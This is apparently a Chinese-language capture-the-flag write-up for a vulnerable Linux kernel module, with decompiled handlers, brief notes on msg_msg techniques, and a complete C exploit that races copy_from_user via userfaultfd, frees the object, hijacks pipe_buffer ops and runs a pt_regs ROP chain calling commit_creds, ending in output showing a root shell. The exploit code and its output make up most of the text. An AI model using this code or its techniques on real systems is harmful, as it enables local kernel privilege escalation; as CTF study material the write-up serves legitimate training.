保护全开
全局变量保存指针,未加锁
调用copy_from_user()时触发缺页,然后释放object,再放行缺页实现 UAF 覆盖
__int64 __fastcall module_write(__int64 a1, __int64 a2, unsigned __int64 a3) { void *v5; // [rsp+30h] [rbp-28h] printk(&unk_820); if ( a3 > 0x2E0 || !ptr ) return -1LL; v5 = ptr; check_object_size(ptr, a3, 0LL); return copy_from_user(v5, a2, a3); }
__int64 __fastcall my_module_ioctl(__int64 a1, int a2, __int64 a3) { ... else if ( a2 == 0xFFF1 ) { if ( v14 ) return -1LL; v5 = ptr; if ( ptr ) { if ( fchoice ) { ptr = 0LL; kfree(v5); fchoice = 0; } } } return 0LL; }
在利用过程中,发现几个点:
- 本题
MSG_COPY被关闭,使用此 flag 调用msgrcv,经调试发现会直接退出相关函数 - 本题未出现
__check_object_size,可以同时改大msg_msg的m_ts和篡改next,通过依次不带MSG_COPY的msgrcv一次性完成越界读和任意地址释放,其中next指向地址需要为0且对齐堆块,可利用msg_msgseg开头8字节 next=0
next对齐堆块可能是msg_msg接收函数内部有检查,kfree据鹏哥说指向object任意地方就能释放对应obj
exp1
直接从/sys/kernel/notes获取基址
uaf 改 pipe_buffer 的 ops 到堆上,布置 gadget 利用 pt_regs rop
开shell前释放几个对应操作大小的obj
#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/msg.h> #include <mqueue.h> #include <sys/xattr.h> #include <linux/userfaultfd.h> #include <poll.h> #include <stdint.h> #include <pthread.h> #include <sys/syscall.h> #include <sys/types.h> #define PAGE_SIZE 0x1000 #define O_RDWR 2 #define O_NOCTTY 400 size_t user_cs,user_ss,user_rflags,user_sp; size_t commit_creds=0x97d00,prepare_kernel_cred=0x98140; size_t init_cred = 0x165f5a0; size_t mov_rdi_rax_p_ret = 0x25c18; size_t ireq_ret = 0x32b42; size_t prdi_r = 0x3e98, prbx_r = 0x35a6; size_t vmbase = 0; size_t heap_addr = 0; int victim_qid; pthread_t hthr; char *received; size_t setxa_can_release = 0; size_t setxa_stuck = 0; size_t changeops_done = 0; size_t changeops_stuck = 0; size_t changeops_continue = 0; int pipe_fd[2]; int fd_tty[50]; int fd; char *msg_buf; int victim_fd[10][2]; size_t retaaa = 0xc00134; void ErrExit(char* err_msg) { puts(err_msg); exit(-1); } void init(){ received = (char*)malloc(0x2000); msg_buf = (char*)malloc(0x2000); received = (char*)malloc(0x2000); } void save_status() { __asm__( "mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("[*] status has been saved."); } typedef struct { long mtype; char mtext[1]; }msg; typedef struct { void *ll_next; void *ll_prev; long m_type; size_t m_ts; void *next; void *security; }msg_header; int get_msg_queue() { return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); } void getshell(){ if(!getuid()){ puts("[*] Root now"); system("/bin/sh"); // int ffd = open("/flag", 0); // char buf[0x50]; // read(ffd, buf, 0x50); // write(1, buf, 0x50); // exit(-1); } else{ puts("not root yet"); } } void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); } void register_userfault(void *fault_page,void *handler) { pthread_t thr; struct uffdio_api ua; struct uffdio_register ur; uint64_t uffd = syscall(__NR_userfaultfd, 02000000 | 04000); ua.api = UFFD_API; ua.features = 0; if(ioctl(uffd, UFFDIO_API, &ua) == -1) ErrExit("[-] ioctl-UFFDIO_API error"); ur.range.start = (unsigned long)fault_page; // the area we want to monitor ur.range.len = PAGE_SIZE; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread ErrExit("[-] ioctl-UFFDIO_REGISTER error"); // open a thread, receive the wrong signal, and the handle it int s = pthread_create(&thr, NULL, handler, (void*)uffd); if(s!=0) ErrExit("[-] pthread-create error"); } void *userfault_changeops_handler(void *arg) { struct uffd_msg _msg; unsigned long uffd = (unsigned long)arg; struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if(nready != 1) ErrExit("[-] wrong poll return value"); nready = read(uffd, &_msg, sizeof(_msg)); if(nready<=0) ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(page == MAP_FAILED) ErrExit("[-] mmap error"); struct uffdio_copy uc; printf("[+] userfault_changenext_handler create\n"); changeops_stuck=1; while(changeops_continue!=1){} printf("[+] userfault_changenext_handler continue\n"); // init page memset(page, 0, sizeof(page)); *(size_t*)(page) = (size_t)(heap_addr+0x430); uc.src = (unsigned long)page; uc.dst = (unsigned long)_msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uc.len = PAGE_SIZE; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); puts("[+] changenext handler done"); changeops_done=1; } void *setxattr_handler(void *arg){ char* addr = (char*)arg; setxattr("/tmp/exp", "ay", addr+ PAGE_SIZE - 0x8, 0x400, 0); } void *uaf_handler(void *arg){ char* addr = (char*)arg; write(fd, addr+ PAGE_SIZE - 0x10, 0x28); } int main() { init(); bind_core(0); save_status(); char *hack_buf[20]; char *uaf_buf; fd = open("/dev/ksctf", 2); if (fd<0) perror("open"); char buf[0x500]; memset(buf, 0, 0x500); memset(received, 0, 0x2000); int padding_qid[20], B1_qid, B2_qid, C_qid; msg *message = (msg *)msg_buf; int leak_fd = open("/sys/kernel/notes", 0); char leak_buf[0x100]; read(leak_fd, leak_buf, 0x100); vmbase = *(size_t*)(leak_buf+0xa0-4)-0x2000; printf("[+] vmbase 0x%llx\n", (long long)vmbase); for(int i = 0; i < 4; i++){ fd_tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (fd_tty[i]<0) ErrExit("tty_struct"); } *(leak_buf)=1; *(buf+0x20)=1; *(size_t*)(buf+0x28)=(size_t)(leak_buf); ioctl(fd, 0xFFF0, buf); heap_addr = *(size_t*)(leak_buf); printf("[+] heap_addr 0x%llx\n", (long long)heap_addr); uaf_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *(size_t*)(uaf_buf + PAGE_SIZE - 0x10) = (size_t)(0); register_userfault(uaf_buf+PAGE_SIZE, userfault_changeops_handler); int s = pthread_create(&hthr, NULL, uaf_handler, (void*)uaf_buf); if(s!=0) ErrExit("[-] pthread-create error"); while(changeops_stuck!=1){} char tmpbuf[0x30]; memset(tmpbuf, 0, 0x30); *(tmpbuf+0x20)=1; *(size_t*)(tmpbuf+0x28)=(size_t)(0); ioctl(fd, 0xFFF1, tmpbuf); if (pipe(pipe_fd) < 0) ErrExit("[-] pipe"); write(pipe_fd[1], "pwn", 3); victim_qid = get_msg_queue(); message->mtype = 1; memset(message->mtext, '0', 0x400-0x30); for (int i = 0 ; i < 0x20; i+=8) *(size_t*)(message->mtext+i) = 0x9d9a1c+vmbase; msgsnd(victim_qid, message, 0x400-0x30, 0); changeops_continue=1; while(changeops_done != 1){} sleep(1); ireq_ret += vmbase; prdi_r += vmbase; prbx_r += vmbase; prepare_kernel_cred += vmbase; commit_creds += vmbase; mov_rdi_rax_p_ret+= vmbase; retaaa+= vmbase; for(int i = 0; i < 4; i++) close(fd_tty[i]); __asm__( "mov r15, prdi_r;" "mov r14, 0;" "mov r13, prepare_kernel_cred;" "mov r12, mov_rdi_rax_p_ret;" "mov rbp, 0;" "mov rbx, prbx_r;" "mov r11, 0x202;" "mov r10, commit_creds;" "mov r9, retaaa;" "mov r8, 0;" "mov rax, 3;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, [pipe_fd];" "syscall;" "mov rax, 3;" "mov rdi, [pipe_fd+4];" "syscall;" ); getshell(); return 0; }
/ $ ./a [*] status has been saved. [+] vmbase 0xffffffffa0400000 [+] heap_addr 0xffff9fd20e394000 [+] userfault_changenext_handler create [+] userfault_changenext_handler continue [+] changenext handler done [*] Root now / # id uid=0 gid=0